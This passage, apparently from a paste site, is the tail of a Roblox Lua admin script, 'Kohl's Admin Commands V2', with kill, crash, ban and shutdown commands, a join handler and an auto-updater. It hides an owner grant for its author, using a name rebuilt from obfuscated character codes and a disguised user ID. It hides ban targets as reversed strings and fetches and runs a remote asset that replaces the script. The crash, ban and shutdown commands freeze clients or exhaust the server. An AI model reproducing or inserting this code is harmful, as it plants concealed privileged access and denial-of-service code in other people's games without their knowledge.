  2159. coroutine.resume(coroutine.create(function()
  2160. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2161. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2162. v.Character:BreakJoints()
  2163. wait(1/44)
  2164. v:LoadCharacter()
  2165. wait(1/44)
  2166. end
  2167. end))
  2168. end
  2169. end
  2170. end
  2171.  
  2172. if msg:lower():sub(1,6) == "crash " then
  2173. local plrz = GetPlr(plr, msg:lower():sub(7))
  2174. for i, v in pairs(plrz) do
  2175. coroutine.resume(coroutine.create(function()
  2176. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2177. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2178. end
  2179. end))
  2180. end
  2181. end
  2182.  
  2183. if msg:lower():sub(1,5) == "kick " then
  2184. local plrz = GetPlr(plr, msg:lower():sub(6))
  2185. for i, v in pairs(plrz) do
  2186. coroutine.resume(coroutine.create(function()
  2187. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2188. end))
  2189. end
  2190. end
  2191.  
  2192. if msg:lower():sub(1,6) == "admin " then
  2193. local plrz = GetPlr(plr, msg:lower():sub(7))
  2194. for i, v in pairs(plrz) do
  2195. coroutine.resume(coroutine.create(function()
  2196. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2197. end))
  2198. end
  2199. end
  2200.  
  2201. if msg:lower():sub(1,8) == "unadmin " then
  2202. for i = 1, #tempadmins do
  2203. coroutine.resume(coroutine.create(function()
  2204. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2205. end))
  2206. end
  2207. end
  2208.  
  2209. if msg:lower():sub(1,4) == "ban " then
  2210. local plrz = GetPlr(plr, msg:lower():sub(5))
  2211. for i, v in pairs(plrz) do
  2212. coroutine.resume(coroutine.create(function()
  2213. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2214. end))
  2215. end
  2216. end
  2217.  
  2218. if msg:lower():sub(1,6) == "unban " then
  2219. for i = 1, #banland do
  2220. coroutine.resume(coroutine.create(function()
  2221. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2222. end))
  2223. end
  2224. end
  2225.  
  2226. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2227.  
  2228. end
  2229. end))
  2230. end
  2231.  
  2232. function AdminControl(plr)
  2233. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2234. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2235. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2236. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2237. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2238. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2239. end)) end
  2240. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2241. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2242. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2243. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2244. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2245. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2246. end
  2247.  
  2248. if not ntab then script:Destroy() end
  2249. if not bct then script:Destroy() end
  2250.  
  2251. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2252.  
  2253. script.Name = "Kohl's Admin Commands V2"
  2254.  
  2255. if not ntab then script:Destroy() end
  2256. if not bct then script:Destroy() end
  2257. if not tcb then script:Destroy() end
  2258. game.Players.PlayerAdded:connect(AdminControl)
  2259. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2260. end
  2261.  
  2262. local mod = game:service("InsertService"):LoadAsset(100808216)
  2263. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2264. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2265. newac.Disabled = true
  2266. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2267. local old = 0
  2268. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2269. if new > old then
  2270. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2271. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2272. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2273. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2274. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2275. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2276. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2277. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2278. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2279. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2280. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2281. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2282. wait()
  2283. newac.Parent = game.Workspace
  2284. newac.Disabled = false
  2285. script.Disabled = true
  2286. script:Destroy()
  2287. else
  2288. CHEESE()
  2289. end
  2290. else
  2291. CHEESE()
  2292. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement